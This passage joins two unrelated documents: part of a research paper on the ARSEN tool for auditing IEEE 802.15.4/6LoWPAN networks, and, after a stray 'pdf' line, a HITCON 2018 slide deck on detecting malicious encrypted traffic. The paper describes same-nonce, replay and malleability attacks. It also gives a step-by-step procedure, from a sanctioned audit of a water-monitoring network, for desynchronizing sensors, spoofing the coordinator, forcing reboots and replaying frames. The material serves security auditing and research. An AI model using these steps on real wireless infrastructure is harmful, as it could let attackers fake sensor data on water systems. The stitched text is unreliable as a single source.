4-bit scope field, indicating the scope in which the address is valid and a 112-bit group ID, indicating a group within the given scope. All IPv6 multicast addresses where the upper layer of the multicast group identifier are zero may be compressed down to 48 or 32 bits. In such cases, only the flag, the scope and the least-significant bits of the multicast group identifier are carried in-line. Another special multicast address known as Solicited-Node Multicast address may be compressed down to 8-bit. Its format is such as only its least-significant group ID is to be carried in-line. Furthermore, when dealing with multicast addresses, two LoWPAN headers also have to be added, the LoWPAN Mesh addressing and the Broadcast/Multicast headers. This is discussed on specific sections. Moreover, the mechanism allows network’s devices to use up to 16 context identifiers to encode source addresses and up to 16 others context identifiers to encode destination addresses. When contexts are used, the LOWPAN_IPHC is extended with a further Context ID field formatted as a 4-bit source Context ID and a 4-bit destination Context ID. RFC 6282 also defines a compression format for IPv6 extensions and UDP headers. However, we only focused on UDP header compression, handling IPv6 extensions by carrying them in-line. When the next header field of the IPv6 header specifies the UDP protocol, it is fully elided. Furthermore, as stated before, the header of such a protocol shall be compressed according to the encoding scheme specified in the RFC 6282. A special section is dedicated to the UDP header compression. In the best case, i.e. every IPv6 header fields could have been fully elided and no context are used, the IPv6 header can be compressed down to 2-octets formatted as the 5-bits flag octet and the 13 bits LOWPAN_IPHC compressed header, without any further field carried in- line. Note that, to perform the IPv6 header compression, the router needs to retrieve the IEEE 802.15.4 addressing information of the device the user wants to communicate with. We discuss this process in a special section (NDP TABLE). If at the end of the compression process the IPv6 packet meets the IEEE 802.15.4 MTU size constraint (taking into account the use of the security), the packet can be encapsulated and sent over the air. Otherwise, the packet will need to be fragmented. The mechanism is described in a specific section. 4.4.2 UDP HEADER COMPRESSION RFC 6282 states that UDP header, when present, shall be compressed. The result is known as the LOWPAN_NCH compressed header formatted as a 5-bit pattern specifying an UDP header compression and 3 others bits used for UDP checksum and UDP ports compression. The UDP checksum can be fully elided on condition that another integrity check mechanism providing at least the same information than the UDP checksum is contained in the UDP payload (IPSec when using IP over UDP tunneling or MIC within UDP payload). Additionally, another lower-layer integrity check mechanism (i.e. IEEE 802.15.4 Message Integrity Code (MIC)) must be provided to ensure the detection of pseudo header corruption. If these conditions are not meet, the checksum cannot be compressed. To ensure a device will not reject our frames because of the absence of the UDP checksums, the router never elides this field. The UDP ports can also be partially elided if they are contained in small ranges of values. A specific compression scheme is applied when both the source and the destination ports are contained in the range 0xf0b0 – 0xf0bf while another one is applied for each port if it is contained in the range 0xf000 – 0xf0ff. In the former case, first 12 bits of both source and destination ports are elided while the remaining 4 bits of both ports are carried in-line. In the latter case, the first 8-bits of each port meeting the constraint are elided while the remaining 8 bits are carried in-line. When neither the first nor the second case is met, ports are fully carried in-line. For UDP ports compression, we simply followed the scheme we described above. Fields or subfields which are to be carried in-line are placed right after the LOWPAN_NCH header, in the order in which they appear in the uncompressed UDP header. 4.4.3 FRAGMENTATION If an IPv6 packet does not fit within a single IEEE 802.15.4 frame, it shall be fragmented according to the process specified in the RFC 4944. The IPv6 frame could be either a frame whose header compression did not reduce the frame size enough to meet the IEEE 802.15.4’s MTU size constraint or an uncompressed IPv6 frame. The fragmentation process consists of breaking the IPv6 frame into multiple link-layer fragments. The first fragment is called the first fragment while the others are called the subsequent fragments. The first one shall be formatted as the combination of a 5-bits flag, indicating that the following fields are part of the first fragment, an 11-bits datagram size, encoding the size of the entire IPv6 frame before fragmentation, and a 16-bits datagram tag, a unique identifier of the IPv6 packet being fragmented. The subsequent fragments are formatted as the combination of a 5-bits flag, indicating that the following fields are part of a subsequent fragment, the datagram size, the datagram tag and the datagram offset, specifying the offset, in increments of 8-octets, from the beginning of the IPv6 payload before fragmentation. As the fragment offset can only express multiples of eight bytes, the size of all link fragments for a given Ipv6 packet except the last one shall be multiples of eight bytes. Our router performs fragmentation just as it is specified in the RFC 4944. Once the IPv6 frame has been fragmented and all the fragments have been encapsulated, they are sent over the air in the proper order such as the recipient can reconstruct the original frame. 4.4.4 NPD TABLE When wishing to send an IPv6 frame over the air, the router needs to know which link layer destination address to use, especially when dealing with IPv6 addresses compression. If the user chose to use the IEEE 802.15.4 scanner we introduced in the very first part of this document, the router would be able, at a certain extent, to retrieve this information in the database automatically generated by the scanner. Otherwise, the router will send a NDP request frame in broadcast and wait for response. As remote devices may not always support the NDP protocol, if at the end of this process the addressing information could not have been retrieved, the IPv6 destination address will not be compressed and the frame will be sent over the air using the broadcast IEEE 802.15.4 address (0xffff). Note that, when starting the router, user can also provide the router with a python dictionary in which the keys are the IPv6 addresses and the values are the corresponding link-layer addresses. Once the IEEE 802.15.4 addresses are retrieved, whatever how, they are stored in a kind of NDP table that aims at helping the router in future communications. 4.4.5 MESH ROUTING In a mesh topology, an originator may request intermediate devices to forward its outgoing frame towards the final destination. The RFC 4944 states that, in such a case, the frame shall include a mesh addressing header. This field is formatted as the combination of a 2-bits flag, indicating that the following fields are part of the mesh addressing header, a 1-bit field indicating if the originator has been using its 16-bit short or 64-bit extended address, another 1-bit field indicating if the final destination address is a 16-bit short or a 64-bit extended address, a 4-bit hop limit and both the originator and the final destination addresses, formatted as indicated in the previous fields. When detecting such a header, an intermediate device would consult its routing table and replace both the source and the destination addresses of the link layer by its IEEE 802.15.4 address and, regarding the routing table response, either the final destination or another intermediate IEEE 802.15.4 address, respectively. Concerning the mesh addressing header, the hop limit is decremented by one while the others fields are left unchanged such as it can be used by another intermediate device to forward the packet. When receiving an IPv6 frame from the TUN, the router has to deal with such a routing table. It has to send the frame to the proper intermediate device such as the frame can be forwarded towards the final destination the user were trying to reach. If the scanner has been provided with the database our IEEE 802.15.4 scanner is intended to generate, the router would be able, at a certain extent, to retrieve this information. In fact, we added a mechanism in the scanner that aims at retrieving the routing path for each pair of 6LoWPAN devices communicating on the network. If the path could not have been retrieved, the frame is sent by using the mesh addressing header with the proper originator and final destination addresses anyway but the link layer destination address would be the broadcast address (0xffff). 4.4.6 BROADCAST / MULTICAST IEEE 802.15.4 does not natively support multicasting. Thus, IPv6 multicast frames shall be handled as link-layer broadcast packets in IEEE 802.15.4 networks. To do so, the link-layer destination PANID shall be set to the proper value, such as it matches the PAN ID of the corresponding link. Moreover, the link layer destination address shall be the 16-bit short broadcast address (0xffff). By this way, it ensures that multicasting will be handled by the right upper layer. Note that multicasting is only supported only on mesh networks. Thus, each IPv6 multicast frames will always be encapsulated with the mesh addressing header, the header we described on section 9. It will also be encapsulated with a broadcast header known as LOWPAN_BC0 in the RFC 4944, right after the mesh addressing header. It is formatted as the combination of an 8-bits flag, indicating that the next fields are part of the broadcast header, and an 8-bits sequence number, used for detecting duplicated packet. When our tool detects an IPv6 frame whose destination address is a multicast address, we simply add both the mesh addressing and the broadcast headers before sending it in broadcast (link-layer point of view) on the proper PANID. 4.4.7 SUPPORTED FEATURES So we could describe some of the main features the router was supporting. Most part of them are directly derived from both the RFC 4944 and the RFC 6882 while others like the NDP table we implemented are used to improve the tool behavior in an auditing point of view. We could see that they were actually up to six adaptation layer headers which can be added to the IPv6 frame to enable its transmission over IEEE 802.15.4. Note that, when several LOWPAN headers are used in the same packet, they shall appear in the following order: Mesh addressing header Broadcast header Fragmentation header (First or subsequent) Compression header (IPv6 compressed header and/or Next Header compressed header) Remember that when compressing IPv6 header and Next header, each field which could not have been full elided are carried in line, either in a compressed form or literally. Also remember that when carried in-line, fields or subfield appear in the same order as they do in their corresponding uncompressed header. 4.5 6LOWPAN TO IPV6 Here we explain how incoming 6LoWPAN packets are handled by the router before being transmitted to the “computer” through the TUN. Note that the scanner will not care about frames that are not indicating its link level address (the IEEE 802.15.4 address the user chose when starting the router). We assume in the following section that the link layer destination address is actually the router one. 4.5.1 MESH ROUTING When capturing a 6LoWPAN frame whose first header’s flag indicates a mesh addressing header, the tool first check if the frame is directed to it by checking the final destination field of the mesh addressing header. If so, the corresponding header is removed and next headers are handled. If no header follows the mesh addressing header, the frame is directly transmitted to the TUN just after ensuring the IPv6 destination address was the router one. If the scanner infers that the frame does not indicate it as a recipient, by checking both the final destination and the IPv6 destination address, the frame is simply rejected. 4.5.2 BROADCAST / MULTICAST After having removed the mesh addressing header, if a Broadcast header is present (i.e. the header’s flag indicating a broadcast header), it is simply removed and next headers are handled. If no further headers are present, and if the IPv6 multicast address indicates a group ID in which router is included, the packet is transmitted to the TUN. Otherwise, if the router is not indicated as a recipient, the frame is rejected. 4.5.3 FRAGMENT REASSEMBLY When detecting a 6LoWPAN first fragment packet, the router stores it and waits for the following subsequent packets to be captured. When all frames are captured, the frame is reassembled. Then, the next headers of the reconstituted packet are handled. If no further headers are present and if the IPv6 address indicates an IPv6 address that match its address, the packet is transmitted to the TUN. Otherwise, if the IPv6 destination address is not the one of the scanner, the packet is rejected. 4.5.4 HEADERS DECODING If a compressed IPv6 header is detected, the frame is uncompressed to retrieve the real IPv6 header. If, while handling the IPv6 compressed header, the scanner sees that the next header is a compressed UDP header, it also tries to retrieve the real UDP header. At the end of this process, if the retrieved IPv6 destination address is not the one of the scanner, the packet is rejected. Otherwise, the frame is transmitted to the TUN. 5. IEEE 802.15.4 ATTACKS The 6LoWPAN protocol can rely on the security mechanisms offered by the IEEE 802.15.4 standard at the MAC-sublayer level. In this section, we focus on known attacks that affect the IEEE 802.15.4 standard. It is worth mentioning that we will not consider attacks that only impact availability [6] because, even if they could be prevented, in the end, a determined malicious individual could still resort to radio-based PHY jamming attacks. That means that we will focus on attacks that can impact confidentiality or integrity. 5.1 SAME-NONCE ATTACKS Same-nonce attacks are possible if, at least, two frames are encrypted with identical key and nonce: with AES-CTR, data is XORed with a key stream based on a nonce and a pre-shared key (see Figure 2 for details). An identical operation is conducted to decrypted secured frames (see Figure 3 for details). If a nonce is used repeatedly, key streams remain identical and if two such frames are captured, it may be possible to decrypt them [5]. To illustrate this, let’s consider that P and P’ are two payloads, C and C’ the two corresponding encrypted payloads and K, the key stream for both payloads. We thus have C⊗C’ = (P⊗K) ⊗ (P’⊗K) = P⊗P’. From here, mutually XORed unencrypted payloads can be recovered using statistics or if parts of any of the two payloads are guessable. With the IEEE 802.15.4 standard, this can only be due to frame counters being identical. It will happen with certainty every 232 frames but it might happen sooner if outgoing frame counters are handled differently from what the standard specifies (see section 6.4.2 for an application). Nonetheless, this situation is not supposed to happen: the IEEE 802.15.4 standard specifies that when this higher value is reached, the corresponding encryption key should be deemed unreliable and no secure frames should be transmitted until it is replaced. It is worth mentioning that IEEE 802.15.4e [4] allows counters to be 5 octets in size which postpone this issue to 240 frames. It is also worth mentioning that there is a situation when, even though the standard was strictly followed, the same-nonce vulnerability might be exploitable: with the 2003 version of the standard, the security material, including the key and the outgoing frame counter, is stored independently for each device. If the same encryption key is used for two different devices, then the corresponding outgoing frame counters will be incremented independently and same-nonce situations might occurs during operations. Figure 2. Counter (CTR) mode encryption Figure 3. Counter (CTR) mode decryption 5.2 REPLAY ATTACKS According to the IEEE 802.15.4 standard, replay attacks should be prevented by the frame counters: the counter from an incoming frame is compared to the value of the corresponding local counter and, if lower, the incoming frame is rejected. If higher, the incoming frame is accepted and the local counter is updated. However, if same-nonce attacks are possible within a given IEEE 805.15.4 infrastructure, that means that the local frame counters may not be properly checked or updated, or that they are reset at some point (e.g., after a failure followed by a reboot), thus making replay attacks possible (see section 6.4.1 for an application). 5.3 MALLEABILITY ATTACKS Malleability attacks rise from the combination of the two previous vulnerabilities: if a plain text can be retrieved using a same-nonce attack, then a simple XOR operation will reveal the corresponding keystream. From there, if a previously-used frame counter is accepted upon reception, instead of replaying a captured frame, an attacker could forge a new one based on the retrieved keystream and the corresponding counter (i.e., the encryption key is not needed in this particular situation) . It is worth noting that the new IEEE 802.15.4 Scapy layer we have developed (see section 2.2 for details) can forge secured frames by using either a given encryption key or a given list of keystreams with their corresponding frame counters. 6. TYPICAL APPLICATION In this section, we talk about a penetration test that we conducted, relying on the ARSEN tools, on a wireless communication infrastructure dedicated to the monitoring of a water distribution network system (see Figure 4). The goal of this infrastructure was to capture information about multiple continuous water pipes by means of electrochemical and optical sensors. It is worth noting that the sensors were powered by microturbines embedded within the water pipes. The objective behind this infrastructure is to provide useful information to field technicians and to supply a large volume of data to a distributed water management system. On that aspect, the wireless communication relied on the IEEE 802.15.4 standard to build a star network and on the 6LoWPAN and UDP protocols to transport the actual information. Figure 4. Two smart sensors from the wireless monitoring infrastructure As previously stated, the goal of the ARSEN project is to provide security auditors with the means to connect their computer to an existing 6LoWPAN network no matter what the configuration of the underlying IEEE 802.15.4 infrastructure is. Upon reaching this goal, a standard penetration testing methodology may be applied, which is out of the scope of this paper. That is why, in the rest of this section, we will focus on the audit of the IEEE 802.15.4 star network which had three objectives: Identifying the configuration of the IEEE 802.15.4 infrastructure; Identifying and exploit potential MAC-sublayer vulnerabilities ; If possible, associate with the IEEE 802.15.4 star network; 6.1 INFORMATION GATHERING Note that from now on, we will only cover the two smart sensors which we were close by (see Figure 4). We started the audit by searching for activities on all IEEE 802.15.4 channels using the ARSEN scanner. It showed that channel 18 was used for transmission. Then, we started capturing IEEE 802.15.4 frames on this specific channel. Based on the output of the ARSEN scanner (see Figure 5), we were able to infer the following information: Each sensor is exclusively communicating with the only PAN coordinator, thus confirming the star topology; This is a beacon-enabled PAN and the PAN coordinator transmits nothing but beacons; According to the frame version, the infrastructure is based on the IEEE 802.15.4-2006 standard; The sensors are securing their outgoing frame and are transmitting data using direct transmissions; The PAN coordinator does not allocate GTS; Figure 5. Output from the ARSEN scanner while scanning channel 18 Transmitter0: beacon_enabled=0x1 pan_coord=0x1 coord=0x1 gts=0x0 panid=0xabba short_addr=0xde00 Transmitter1: short_addr=0xde02 panid=0xabba Destination0: security_enabled=0x1 frame_version=0x1L short_addr=0xde00 coord=0x1 command=0x0 panid=0xabba data=0x5 pan_coord=0x1 Transmitter2: short_addr=0xde01 panid=0xabba Destination0: security_enabled=0x1 frame_version=0x1L short_addr=0xde00 coord=0x1 command=0x0 panid=0xabba data=0x4 pan_coord=0x1 Note that, as shown by the scanner output in Figure 5, we could not get the long addresses of the sensors as they only use short addresses to communicate, implying that they rely on a mapping mechanism to get the long addresses from the short ones, notably with secured frames. 6.2 SYNCHRONIZATION STATE However, we found out that by flooding the sensors it was quite easy to make them loose synchronization with the PAN coordinator. In fact, based on a trial and error approach, we were able to determine that sensors are tracking periodic beacons and, when receiving a lot of frames, they cannot acquire the expected beacons in time, giving rise to a synchronization-loss state. As a result, by capturing IEEE 802.15.4 frames after forcing the resynchronization of sensors, we were able to acquire the complete addressing information (see Figure 6). Figure 6. Output from the ARSEN scanner while forcing resynchronization Transmitter0: beacon_enabled=0x1 pan_coord=0x1 coord=0x1 long_addr=0x158d000053da9d gts=0x0 panid=0xabba short_addr=0xde00 Destination0: frame_version=0x0L short_addr=0xde01 command=0x1 panid=0xabba data=0x0 long_addr=0x158d00005405a6 Destination1: frame_version=0x0L short_addr=0xde02 command=0x1 panid=0xabba data=0x0 long_addr=0x158d0000540591 Transmitter1: short_addr=0xde01 panid=0xabba long_addr=0x158d00005405a6 Destination0: security_enabled=0x1 frame_version=0x1L short_addr=0xde00 coord=0x1 long_addr=0x158d000053da9d command=0x2 panid=0xabba data=0x5 pan_coord=0x1 Transmitter2: short_addr=0xde02 panid=0xabba long_addr=0x158d0000540591 Destination0: security_enabled=0x1 frame_version=0x1L short_addr=0xde00 coord=0x1 command=0x2 panid=0xabba data=0x5 long_addr=0x158d000053da9d pan_coord=0x1 It is worth mentioning that this is an important step because long addresses are part of the security material of the IEEE 802.15.4 standard to secure and unsecure frames. Nonetheless, short source addresses should not be discarded because when they are used to transmit secured and, more precisely, authenticated frames, they are part of the data on which the MIC is computed. 6.3 ASSOCIATION PROCEDURE At this point, since we were able to force the resynchronization of sensors, we decided to focus on the association procedure. By analyzing the IEEE 802.15.4 frames exchanged between the PAN coordinator and the sensors during an association procedure, we found out that they are not secured (security level 0). In fact, the security is only applied to frames once the sensors are associated with the PAN coordinator. From there, by mimicking a sensor while requesting the PAN coordinator for association, we also found out that the PAN coordinator did not implement any higher-layer authentication mechanism. In fact, any of the 64 bits extended address we used in requests was accepted by the PAN coordinator. Moreover, by combining multiple forced resynchronizations and spoofed associations, we could infer that the PAN coordinator was always assigning short address 0xde01 to the first device requesting association, 0xde02 to the second one and so on. Then, we searched for activities on all IEEE 802.15.4 channels after the sensors were forcibly desynchronized. This lead to an important discovery: the sensors perform active scanning on channels 11 to 26. Precisely, for each of these channels, they send a beacon request command and waits for beacons. If answered, they start an association procedure, if not, they move on to the next channel. If they are not associated with a PAN coordinator after probing channel 26, they reboot and start scanning again. This process is repeated indefinitely until a PAN coordinator is found. This means that if we continuously prevent synchronization on channel 18, we can forcibly reboot the sensors. Following this, by forcing the resynchronization of sensors while mimicking a PAN coordinator sending periodic beacons on a channel below 18, we could infer that the sensors were checking the addressing information of our beacons before starting the association procedure. In fact, based on a trial and error approach, we found out that the sensors were both checking the short address and the PANId of incoming beacons. Thus, if this addressing information does not match the one from the real PAN coordinator, the association procedure is not triggered. That being said, this authentication process can be bypassed simply by properly spoofing the legitimate PAN coordinator since, as previously stated, the association procedure does not rely on secured frames. Finally, after forcing both sensors to associate with our fake PAN coordinator, we found out that if the real PAN coordinator does not receive data frames from the sensors for more than five minutes, it stops sending beacons for a finite period of time. We thus thought of the most probable explanation: assuming a possible failure because of the lack of incoming data, the PAN coordinator reboots to ensure service continuity. If true, this meant that we had now the capability to forcibly reboot all devices: the PAN coordinator and the sensors. 6.4 FRAMES COUNTERS Assuming that we were now able to forcibly reboot both the PAN coordinator and the sensors, we decided to focus on the frame counters. 6.4.1 INCOMING FRAME COUNTERS The incoming frame counter is part of the security material in the IEEE 802.15.4 standard and is used to ensure the sequential freshness of incoming frames. More precisely, for each known device, a given device stores an incoming frame counter that represents the last received frame counter. During the incoming frame procedure, the recipient device shall reject the received frame if the new frame counter is less than the last received frame counter. Otherwise the incoming frame counter is updated accordingly and the new incoming frame is processed. This mechanism is used to prevent replay attacks. We have been able to demonstrate that the incoming frame counters were reset to zero after the PAN coordinator has rebooted by performing the following procedure: 1. Force disassociation between the sensors and the PAN coordinator; 2. Capture the following association procedures to infer the addressing information (i.e., both short and long addresses); 3. Capture the network activity for a period long enough to catch a least one outgoing secured data frame for each sensors; 4. Spoof the PAN coordinator but with periodic beacons sent on a channel below 18; 5. Force disassociation again between the sensors and the PAN coordinator; 6. Verify that the sensors are now associated with the fake PAN coordinator; 7. Wait for the beacons from the real PAN coordinator to stop (i.e., wait for 5 minutes); 8. Spoof sensors by requesting association with the real PAN coordinator on channel 18 while meeting the addressing information capture at step 2 (i.e., associate the fake sensors in the correct order so as to match the short addresses previously assigned); 9. For both fake sensors, replay secured packets captured at step 3; 10. Observe that this time the beacons from the real PAN coordinator do not stop after 5 minutes; If the beacons from the real PAN coordinator in fact do not stop after 5 minutes, it means that the replayed frames were actually accepted. Consequently, it also means that the incoming frame counters have been reset to zero, confirming by the way that the PAN coordinator actually reboots in this situation. Failing to store the frame counters in non-volatile memory is a security issue we have encountered several times on actual security audits. In this particular case, a possible attack scenario would be malicious individuals replaying secured frames, thus persuading the distributed water management system of a normal activity, while contaminating the water. This is an important finding as this scenario we just considered was one on the major undesired events identified by the stakeholders behind this security audit. 6.4.2 OUTGOING FRAME COUNTERS Similarly, the outgoing frame counter is part of the security material of the IEEE 802.15.4 standard as it is used by the originator device to secure outgoing frames. More precisely, it is used to construct the nonce. As it is required by recipient device during the unsecuring procedure, it is always included in the MAC header of each secured frame. For a given originator, this counter is incremented by one each time a frame is secured. This mechanism ensures that the keying material for every frame is unique. When the frame counter reaches is maximum value of 0xffffffff the associated keying material can no longer be used, thus requiring the corresponding key to be updated. By comparing the header of secured frame emitted by a sensor before forcing a reboot (see Figure 7) and after forcing a reboot (see Figure 8), we could easily infer that the outgoing frame counters were also reset to zero upon the reboot of a sensor (in the following example, it went from 0x26000000 to 0x0). Again, failing to store the frame counters in non-volatile memory is a security issue we have encountered several times on actual security audits. This time, it opens up the possibility of conducting same-nonce attacks (see section 5.1 for details) and thus may lead to confidentiality issues. However, in this particular case, confidentiality was not considered a high priority compared to integrity and availability issues. That being said, we had already demonstrated in section 6.4.1 how to compromise both integrity and availability. Figure 7. Dissected IEEE 802.15.4 header of a secured frame before forcing a sensor to reboot >>> p[44].show() ###[ Gnuradio header ]### proto= 2 reserved1= 0x0 reserved2= 0 ###[ 802.15.4 ]### fcf_reserved_1= 0L fcf_panidcompress= True fcf_ackreq= True fcf_pending= False fcf_security= True fcf_frametype= Data fcf_srcaddrmode= Short fcf_framever= 1L fcf_destaddrmode= Short fcf_reserved_2= 0L seqnum= 189 ###[ 802.15.4 Data ]### dest_panid= 0xabba dest_addr= 0xde00 src_addr= 0xde01 ###[ 802.15.4-2006 Auxiliary Security Header ]### sec_sc_reserved= 0L sec_sc_keyidmode= 1oKeyIndex sec_sc_seclevel= ENC-MIC-32 sec_framecounter= 0x26000000 sec_keyid_keyindex= 0x1 Figure 8. Dissected IEEE 802.15.4 header of a secured frame after forcing a sensor to reboot >>> p[204].show() ###[ Gnuradio header ]### proto= 2 reserved1= 0x0 reserved2= 0 ###[ 802.15.4 ]### fcf_reserved_1= 0L fcf_panidcompress= True fcf_ackreq= True fcf_pending= False fcf_security= True fcf_frametype= Data fcf_srcaddrmode= Short fcf_framever= 1L fcf_destaddrmode= Short fcf_reserved_2= 0L seqnum= 129 ###[ 802.15.4 Data ]### dest_panid= 0xabba dest_addr= 0xde00 src_addr= 0xde01 ###[ 802.15.4-2006 Auxiliary Security Header ]### sec_sc_reserved= 0L sec_sc_keyidmode= 1oKeyIndex sec_sc_seclevel= ENC-MIC-32 sec_framecounter= 0x0 sec_keyid_keyindex= 0x1 6.5 SECURED FRAMES Nonetheless, it is possible to compromise integrity one step further: all the conditions to implement a malleability attack are met (see section 5.3 for details). This means that, instead of replaying captured secured frames, we could go as far as forging new ones. However, this would require implementing first the same-nonce attack on a scale large enough to gather the appropriate amount of keystreams with their corresponding frame counters. Limited by time and resources, in agreement with the stakeholders, we move to a “gray-box” approach and we were therefore provided with the plaintext data of multiple captured secured frames. From there, with a reasonable amount of keystreams that could be used right after forcing the reboot of the PAN coordinator (i.e., we had to force a reboot each time we used them all), we now had all we needed to use the ARSEN router and start auditing higher-layer protocols. The continuation of this audit consisted in applying a standard penetration testing methodology, which was the purpose of the ARSEN project, but upon achievement of this goal, the rest is therefore out of the scope of this paper. It is worth mentioning that, on other security audits, we were able to conduct physical attacks to extract the firmware and access the encryption keys. This is usually the preferred and easiest way of gaining the capability to forge secured frames but, in this case, this approach was explicitly discarded by the stakeholders. 7. CONCLUSION In this paper, we have presented the ARSEN project: Advanced Routing for 6LoWPAN and Ethernet Networks. To that end, we have detailed all the mechanisms we have implemented in order to provide security auditors with the means to connect to any existing 6LoWPAN networks by supporting a wide range of IEEE 802.15.4 configurations and MAC-sublayer attacks. Then, we have demonstrated its capabilities on an actual wireless communication infrastructure dedicated to the monitoring of a water distribution network system. As for future work, it is worth noting that, initially, the ARSEN project was about developing a fully customizable IEEE 802.15.4 / 6LoWPAN network interface over Ethernet. We moved to a software-only project based on Scapy-radio because of time constraints but at the cost high latencies and expensive SDR hardware. Now that our approach has shown its usefulness on actual security audits, we plan on resuming the hardware implementation using a cheap off-the-shelf system-on-chip solution. 8. ACKNOWLEDGMENT This work was conducted by Airbus Defence and Space and was funded by ACQUEAU, the Eureka Cluster for Water, under grant from WIN4SMART (Water Information Network for Sensing, Monitoring & Actuating in Real Time) and by ITEA, the Eureka Cluster for Software-intensive Systems & Services, under grant from FUSE-IT (Future Unified System for Energy and Information Technology). 9. REFERENCES [1] IEEE Std 802.15.4-2003, IEEE Standard for Local and Metropolitan Area Networks, Part 15.4: Low-Rate Wireless Personal Area Networks (LR-WPANs). [2] IEEE STD 802.15.4-2006, IEEE Standard for Local and Metropolitan Area Networks, Part 15.4: Low-Rate Wireless Personal Area Networks (LR-WPANs). [3] IEEE Std 802.15.4-2011, IEEE Standard for Local and Metropolitan Area Networks, Part 15.4: Low-Rate Wireless Personal Area Networks (LR-WPANs). [4] IEEE Std 802.15.4e-2012, IEEE Standard for Local and Metropolitan Area Networks, Part 15.4: Low-Rate Wireless Personal Area Networks (LR-WPANs), Amendment 1: MAC Sublayer. [5] V. B. Mišić, J. Fung and J. Mišić, MAC Layer Attacks in 802.15.4 Sensor Networks, in Security in Sensor Networks, 2006, pp.27-46. [6] R. Sokullu, O. Dagdeviren et al., GTS attack: An IEEE 802.15.4 MAC Layer Attack in Wireless Sensor Networks, in the International Journal on Advances in Internet Technology, 2009, pp.105-116. [7] J.-M. Picod, A. Lebrun, J.-C. Demay, Bringing Software Defined Radio to the Penetration Testing Community, Black Hat USA, 2014. [8] http://gnuradio.org/redmine/projects/gnuradio/wiki [9] http://secdev.org/projects/scapy
pdf
Malicious Encrypted Traffic Detection HITCON CMT 2018 Aragorn [email protected] About Me • Aragorn / • Master of National Taiwan university • Security consultant in Somewhere • NTUCSA () • Malware AnalysisOperating Facebook fan page Packet ForensicPenetration Test • Speaker • 2016 TANET Network Technology Promotion Seminar - Hacker Attack Techniques: APT Attack & Ransomware Introduction 1 HTTPS Encrypted Traffic • Since the end of 2016, Google and Mozilla have released statistics, and more than half of their browser users have used HTTPS protocol encryption https://transparencyreport.google.com/https/overview?hl=en https://letsencrypt.org/stats/ 2 HTTPS Encrypted Traffic(cont) • In March of this year, Cisco's latest survey found that HTTPS traffic reached 50% in October 2017, compared with only 38% of the overall in November 2016, the usage rate can be said to increase significantly. • NSS Labs predict that there will be 3/4 of the network traffic in 2019, and encryption will be used. 3 Malicious Encrypted Traffic • According to Cisco's sampling, the proportion of malware that communicated via TLS encrypted connections was 2.21% in 2015, and increased to 21.44% in May 2017. • 10-12% of all Malware uses HTTPS • https://blogs.cisco.com/security/malwares-use-of-tls-and-encryption (Jan 2016) • 37% of all Malware uses HTTPS • https://blog.cyren.com/articles/over-one-third-of-malware-uses-https (June 2017) • From all HTTPS malware, 97% uses port 443, and 87% uses TLS • In addition to TLS, SSL encryption, and technologies such as VPN, I2P, and Tor encryption, network security is facing great challenges. 4 Malicious Encrypted Traffic • Exploit kits • using SSL/TLS-enabled advertising networks injects malicious scripts into legitimate websites • Malware • Adware • Malware callbacks 5 60% 25% 12% 3% Banking Trojan Ransomware Infostealer Trojan Other Source : ZSCALER Malware with Encrypted Traffic Name Type Gamarue/Andromeda Modular botnet Sality File infecter, modular botnet Necurs Information stealer, backdoor, botnet Rerdom Click-fraud, botnet ["Dridex", "KINS", "Shylock", "URLzone", "TorrentLocker", "CryptoWall","Upatre", "Spambot", "Retefe", "TeslaCrypt", "CryptoLocker", "Bebloh","Gootkit", "Geodo", "Tinba", "Gozi", "VMZeus", "Redyms", "Qadars", "Vawtrack","Emotet“,”Trickbot”] 6 SSL Blacklist • https://sslbl.abuse.ch/ 7 APT attack • CVE-2017-0199 with abuses Powerpoint slide • Remcos RAT - REMCOS uses encrypted communication, including a hardcoded password for its authentication and network traffic encryption • PLEADShrouded CrossbowWaterbear • Keyboys - HP-Socket • - splwew32.exe 8 How to solve the problem? • Change the signature based to machine learning based! 9 Our project: Deep Learning for Malicious Flow Detection • To recognize the potential malicious behavior based on the net flow aspect especially for the encrypted net flow 10 Encrypted Net Flow example: TLS 11 Dataset • Pcaps/flows with HTTPS/VPN/Tor traffic • Malware/VPN/Tor/Benign • Capture with CAPE sandbox https://github.com/ctxis/CAPE 12 Dataset • Malware traffic analysis • https://www.malware-traffic-analysis.net/ • CTU-13 dataset – public • Malware and Normal captures • 13 Scenarios. 600GB pcap • https://www.stratosphereips.org/datasets-ctu13/ • MCFP dataset – public • Malware Capture Facility Project • 340 malware pcap captures • https://stratosphereips.org/category/dataset.html • Trend Micro Tbrain dataset • UNB dataset – public • Tor-NonTor • VPN-NonVPN • http://www.unb.ca/cic/datasets/index.html • Own malware/Tor dataset 13 Feature Engineering • Cisco – joy • https://github.com/cisco/joy • UNB – Flowmeter • https://github.com/ISCX/CICFlowMeter • Bro logs • Dpkt IP MAC TCP UDP Level2 Level3 Level4 Level5-7 HTTP DNS DHCP …… 14 Joy feature Intro 15 Packet Metadata Feature Type Input/output IP xxx. xxx. xxx. xxx Input/output port number Integer Inbound/outbound bytes Integer Inbound/outbound packets Integer Total duration of the flow (ms) Integer 16 HTTP: • Request • http_user_agent • http_accept_language • Response • http_server • http_content_type • http_code 17 DNS • dns_domain_name • dns_ttl(time to live) • dns_num_ip • dns_domain_rank 18 Sequence of Packet Lengths and Times (SPLT) Malware Behavior Network Behavior Communication with command control server Sequence of packet lengths Write to the disk Time interval between packet • Size and Timing of the first few packets allow us to estimate the type of the data inside the encrypted channel 19 SPLT Sequence of Length Bin size = 150 bytes 1st packet size: 170 bytes/150 => 1 2nd packet size: 621 bytes/150 => 4 Sequence of Time Bin size = 50 ms 1st packet cost time: 280 ms/50 => 5 2nd packet cost time: 187 ms/50 => 3 20 PACKET LENGTH (BYTES) Unix Time(s) Visualize with SPLT 21 22 23 24 Byte Distribution Source : cisco 25 Visualization with Byte Distribution Email with TLSv1.2 26 Malspam Facebook chat 27 Locky Ransomware Locky Ransomware 28 TLS Information • TLS handshake info: TLS CiphersuiteTLS extensionPublickey length 29 Source : https://arxiv.org/abs/1607.01639 30 Source : https://arxiv.org/abs/1607.01639 31 Source : https://arxiv.org/abs/1607.01639 32 CICFlowmeter Feature Intro 33 CICFlowMeter • An open source tool • Generate bidirectional flows from pcap files • Extracts features from these flows • Supports realtime generate bidirectional flows 34 Network basic Metadata • Flow ID • IP • Port • Protocol • Timestamp 35 Time-based feature • Flow Duration • bytes/s • packets/s • packet length • IAT(inter-arrival time) • Flag • Active time • Idle time 36 • BWDFWD(direction)Total • MaxMinMeanStd Bro logs Idea from Czech technical university in Prague 37 Bro • Conn.log • ssl.log • X509.log • dns.log • http.log • 